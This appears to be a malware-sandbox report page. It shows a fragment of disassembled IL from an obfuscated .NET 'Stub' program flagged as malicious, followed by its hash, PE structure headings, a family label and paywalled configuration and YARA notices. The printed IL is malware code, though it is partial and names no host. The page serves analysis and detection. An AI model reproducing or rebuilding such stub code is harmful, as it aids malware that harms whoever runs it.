ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181887
ldc.i4.3 <null>
ldnull <null>
ldc.i4.3 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.4 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴗ.Ⴃ::Ⴀ
leave.s IL_0576: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0576: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴗ.Ⴃ::Ⴅ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.6 <null>
stloc.s V_24
br.s IL_0579: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.5 <null>
stloc.s V_24
br IL_0579: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 264
ldelem.u2 <null>
sub <null>
ldc.i4.s 112
and <null>
stelem.i2 <null>
ret <null>
1cf8cce965f8f2089ce67ef811b29d13
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙